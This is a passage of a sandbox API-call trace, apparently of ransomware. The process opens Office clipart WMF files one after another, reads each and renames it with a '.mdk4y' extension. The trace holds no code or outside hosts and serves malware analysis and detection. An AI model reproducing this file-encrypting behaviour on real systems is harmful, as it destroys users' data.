dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0158.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823389500000) returned 1 [0158.665] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x843a, lpOverlapped=0x0) returned 1 [0158.683] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823391300000) returned 1 [0158.683] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823391300000) returned 1 [0158.684] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf.mdk4y")) returned 1 [0158.685] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0158.685] AreFileApisANSI () returned 1 [0158.685] GetACP () returned 0x4e4 [0158.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0186362.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0186362.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0158.685] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0158.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823391600000) returned 1 [0158.686] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x44fe, lpOverlapped=0x0) returned 1 [0158.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823397300000) returned 1 [0158.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823397300000) returned 1 [0158.743] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf.mdk4y")) returned 1 [0158.744] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0158.744] AreFileApisANSI () returned 1 [0158.744] GetACP () returned 0x4e4 [0158.744] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0186364.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0186364.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0158.744] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0158.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823397500000) returned 1 [0158.745] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4724, lpOverlapped=0x0) returned 1 [0158.781] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823401100000) returned 1 [0158.782] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823401200000) returned 1 [0158.782] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf.mdk4y")) returned 1 [0158.783] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0158.783] AreFileApisANSI () returned 1 [0158.783] GetACP () returned 0x4e4 [0158.783] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187647.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187647.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0158.783] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0158.784] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823401400000) returned 1 [0158.784] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x19c4, lpOverlapped=0x0) returned 1 [0158.851] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823408100000) returned 1 [0158.851] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823408100000) returned 1 [0158.851] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf.mdk4y")) returned 1 [0158.852] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0158.852] AreFileApisANSI () returned 1 [0158.852] GetACP () returned 0x4e4 [0158.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187815.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187815.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0158.852] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0158.853] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823408300000) returned 1 [0158.853] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1500, lpOverlapped=0x0) returned 1 [0158.861] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823409100000) returned 1 [0158.861] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823409100000) returned 1 [0158.862] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf.mdk4y")) returned 1 [0158.862] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0158.862] AreFileApisANSI () returned 1 [0158.862] GetACP () returned 0x4e4 [0158.862] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187817.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187817.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0158.863] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0158.863] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823409300000) returned 1 [0158.863] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2d7c, lpOverlapped=0x0) returned 1 [0158.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823414500000) returned 1 [0158.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823414500000) returned 1 [0158.916] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf.mdk4y")) returned 1 [0158.917] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0158.917] AreFileApisANSI () returned 1 [0158.917] GetACP () returned 0x4e4 [0158.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187819.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187819.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0158.917] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0158.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823414800000) returned 1 [0158.918] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2870, lpOverlapped=0x0) returned 1 [0158.934] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823416400000) returned 1 [0158.934] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823416400000) returned 1 [0158.935] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf.mdk4y")) returned 1 [0158.936] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0158.936] AreFileApisANSI () returned 1 [0158.936] GetACP () returned 0x4e4 [0158.936] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187825.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187825.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0158.936] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0158.936] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823416600000) returned 1 [0158.936] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d4c, lpOverlapped=0x0) returned 1 [0158.954] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823418400000) returned 1 [0158.954] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823418400000) returned 1 [0158.955] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf.mdk4y")) returned 1 [0158.956] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0158.956] AreFileApisANSI () returned 1 [0158.956] GetACP () returned 0x4e4 [0158.956] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187829.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187829.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0158.956] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0158.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823418600000) returned 1 [0158.957] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3040, lpOverlapped=0x0) returned 1 [0158.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823420400000) returned 1 [0158.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823420400000) returned 1 [0158.975] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf.mdk4y")) returned 1 [0158.975] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0158.975] AreFileApisANSI () returned 1 [0158.975] GetACP () returned 0x4e4 [0158.975] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187835.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187835.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0158.976] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0158.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823420600000) returned 1 [0158.976] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2480, lpOverlapped=0x0) returned 1 [0158.997] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823422700000) returned 1 [0158.997] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823422700000) returned 1 [0158.998] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf.mdk4y")) returned 1 [0158.999] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0158.999] AreFileApisANSI () returned 1 [0158.999] GetACP () returned 0x4e4 [0158.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187837.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187837.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0158.999] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.000] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823423000000) returned 1 [0159.000] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3fe2, lpOverlapped=0x0) returned 1 [0159.056] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823428600000) returned 1 [0159.056] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823428600000) returned 1 [0159.057] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf.mdk4y")) returned 1 [0159.058] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.058] AreFileApisANSI () returned 1 [0159.058] GetACP () returned 0x4e4 [0159.058] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187839.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187839.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.058] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823428800000) returned 1 [0159.058] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x14fc, lpOverlapped=0x0) returned 1 [0159.091] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823432100000) returned 1 [0159.091] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823432100000) returned 1 [0159.091] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf.mdk4y")) returned 1 [0159.092] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.092] AreFileApisANSI () returned 1 [0159.092] GetACP () returned 0x4e4 [0159.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187847.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187847.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.092] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823432300000) returned 1 [0159.093] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1bcc, lpOverlapped=0x0) returned 1 [0159.246] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823447600000) returned 1 [0159.246] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823447600000) returned 1 [0159.246] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf.mdk4y")) returned 1 [0159.247] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.247] AreFileApisANSI () returned 1 [0159.247] GetACP () returned 0x4e4 [0159.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187849.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187849.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.247] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.248] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823447800000) returned 1 [0159.248] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d94, lpOverlapped=0x0) returned 1 [0159.274] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823450400000) returned 1 [0159.274] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823450400000) returned 1 [0159.274] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf.mdk4y")) returned 1 [0159.275] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.275] AreFileApisANSI () returned 1 [0159.275] GetACP () returned 0x4e4 [0159.275] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187851.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187851.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.275] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.276] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823450600000) returned 1 [0159.276] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x221c, lpOverlapped=0x0) returned 1 [0159.312] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 